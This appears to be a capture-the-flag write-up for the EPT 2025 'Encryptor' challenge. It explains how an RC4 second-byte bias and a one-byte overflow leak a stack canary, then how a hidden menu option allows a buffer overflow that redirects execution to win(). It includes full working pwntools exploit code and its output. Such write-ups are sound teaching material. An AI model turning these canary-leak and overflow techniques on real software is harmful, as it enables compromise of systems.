Zukane CTF

Encryptor (EPT 2025)

RC4 Distinguishing Attack Pwn
Challenge overview
Grab your resident cryptographer and try our shiny new "Encryption-As-A-Service"!

ncat --ssl encryptor-pwn.ept.gg 1337

In this CTF challenge we are given a binary named encryptor which presents us with an encryption service:

Welcome to the EPT encryptor!
Please behave yourself, and remember to stay away from a certain function at 0x55667a4c54f0!
1. Encrypt a message
2. Reset the key and encrypt again
3. Change offset
4. Exit
>

Inspecting the binary’s security mechanisms, we can see everything is enabled:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

Though, the program does leak the address to the win() function.

Reverse engineering

By picking choice 1 in the menu, we can encrypt a message of our choice:

if (menu_choice == 1) {
    printf("Enter string to encrypt\n> ");
    fgets(local_108,242,stdin);
    RC4(key,local_108 + local_18,local_1f8,local_108 + local_18);
    puts_hex(local_1f8);
    resetKey();
}

The program uses fgets() to read 242 bytes of user input. The input is encrypted with RC4, the ciphertext is printed, before the encryption key is reset. Notably, the program reads 242 bytes (241 bytes + null terminator) when the buffer is only 240 bytes:

uchar local_1f8 [240];
char local_108 [240];

This allows us to overwrite one byte after our input buffer. The byte located here is the offset local_18 which is used by the RC4() function to determine the start-offset for RC4’s input. The feature to control this offset value via menu option 3 Change offset is disabled:

> 3
Sorry, offset function disabled due to abuse!

The ability to control the offset value will prove to be useful, as we can use it to encrypt the stack canary, which is located 248 bytes after our input buffer:

240-byte input buffer
8-byte offset (or 1 byte + 7 unused bytes)
8-byte stack canary
8-byte saved rbp
8-byte return address (rip)
RC4 one-byte bias

With an ability to encrypt the stack canary, the focus shifts towards cryptographic attacks. RC4 is an stream-cipher which isn’t really used anymore, primarily because the keystream generated by RC4 is biased, making it vulnerable to “distinguishing attacks”. According to Wikipedia, the second output byte of the cipher was biased toward zero with probability 1/128 (instead of 1/256).

Since the ciphertext is generated by XORing the plaintext and keystream:

\[\large C = P \oplus K\]

And the 2nd keystream byte is \x00 1/128 of the time (instead of 1/256 like other bytes), the most frequent ciphertext byte from many samples will be the exact plaintext byte with high likelihood.

We can use this one-byte bias along with our control of the offset to line up the canary bytes with the 2nd byte of the keystream, collect many samples, and check the most frequently appearing byte to determine the stack canary byte at that index. By adjusting the offset for each canary byte, we are able to leak the full stack canary.

from pwn import *
from collections import Counter

p = process("./encryptor")

p.recvuntil(b"at ")
win = int(p.recvline().strip()[2:-1], 16)
print("Win:", hex(win))

def encrypt(string):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"> ")
    p.sendline(string)
    p.recvuntil(b"Encrypted: ")
    return p.recvline().strip()

def reset_key():
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"Encrypted: ")
    return p.recvline().strip()

def recover_canary_byte(i):
    encrypt(b"\x00"*240 + p8((0xF7 + i)))
    cnt = Counter()
    for _ in range(6000):
        ct_line = reset_key()
        b = int(ct_line[2:4],16)
        cnt[b] += 1
    print(f"Recovered canary byte: {hex(cnt.most_common(1)[0][0])}")
    return cnt.most_common(1)[0][0]

canary = b"\x00" + bytes(recover_canary_byte(i) for i in range(1,8))
print(f"canary = 0x{canary[::-1].hex()}")

Note, we do not need to leak the first canary byte, as it is always \x00

Note 2, with 6000 samples, the correct byte is not always found due to statistics. Number of samples can be adjusted, but will take longer

Win: 0x5cd7721b24f0
Recovered canary byte: 0x33
Recovered canary byte: 0x4d
Recovered canary byte: 0xda
Recovered canary byte: 0x28
Recovered canary byte: 0xb0
Recovered canary byte: 0x4f
Recovered canary byte: 0xd
canary = 0x0d4fb028da4d3300
ret2win

With the canary leaked, we can perform a buffer overflow and avoid stack smashing. The program has a secret menu option 1337:

if (menu_choice == 1337) {
    printf("Leaving already? Enter feedback:\n> ");
    pcVar1 = fgets(local_108,288,stdin);
}

Here, the program reads in 288 bytes into the 240 byte buffer. This allows us to execute a ropchain to jump to the address of the win function, which is leaked on program startup:

payload  = b""
payload += b"A"*248  # Overwrite input buffer + offset
payload += canary    # Write canary to avoid stack smashing
payload += b"B"*8    # Overwrite saved RBP
payload += p64(win)  # Set instruction pointer (rip) to the address of win()

p.recvuntil(b"> ")
p.sendline(b"1337")
p.recvuntil(b"> ")
p.sendline(payload)
p.interactive()
Win: 0x570eb47344f0
Recovered canary byte: 0x2c
Recovered canary byte: 0x66
Recovered canary byte: 0xd0
Recovered canary byte: 0x2d
Recovered canary byte: 0x72
Recovered canary byte: 0x71
Recovered canary byte: 0x78
canary = 0x7871722dd0662c00
EPT{local_test_flag_because_im_not_waiting_100_years_on_remote_again_:skull:}

Since we must collect many ciphertext samples from the program for the distinguishing attack, the program runs for a long time against the remote due to a lot of extra overhead.

solve.py
from pwn import *
from collections import Counter

p = process("./encryptor")
#p = remote("encryptor-pwn.ept.gg", 1337, ssl=True)

p.recvuntil(b"at ")
win = int(p.recvline().strip()[2:-1], 16)
print("Win:", hex(win))

def encrypt(string):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"> ")
    p.sendline(string)
    p.recvuntil(b"Encrypted: ")
    return p.recvline().strip()

def reset_key():
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"Encrypted: ")
    return p.recvline().strip()

def recover_canary_byte(i):
    encrypt(b"\x00"*240 + p8((0xF7 + i)))
    cnt = Counter()
    for _ in range(6000):
        ct_line = reset_key()
        b = int(ct_line[2:4],16)
        cnt[b] += 1
    print(f"Recovered canary byte: {hex(cnt.most_common(1)[0][0])}")
    return cnt.most_common(1)[0][0]

canary = b"\x00" + bytes(recover_canary_byte(i) for i in range(1,8))
print(f"canary = 0x{canary[::-1].hex()}")

payload  = b""
payload += b"A"*248
payload += canary
payload += b"B"*8
payload += p64(win)

p.recvuntil(b"> ")
p.sendline(b"1337")
p.recvuntil(b"> ")
p.sendline(payload)
p.interactive()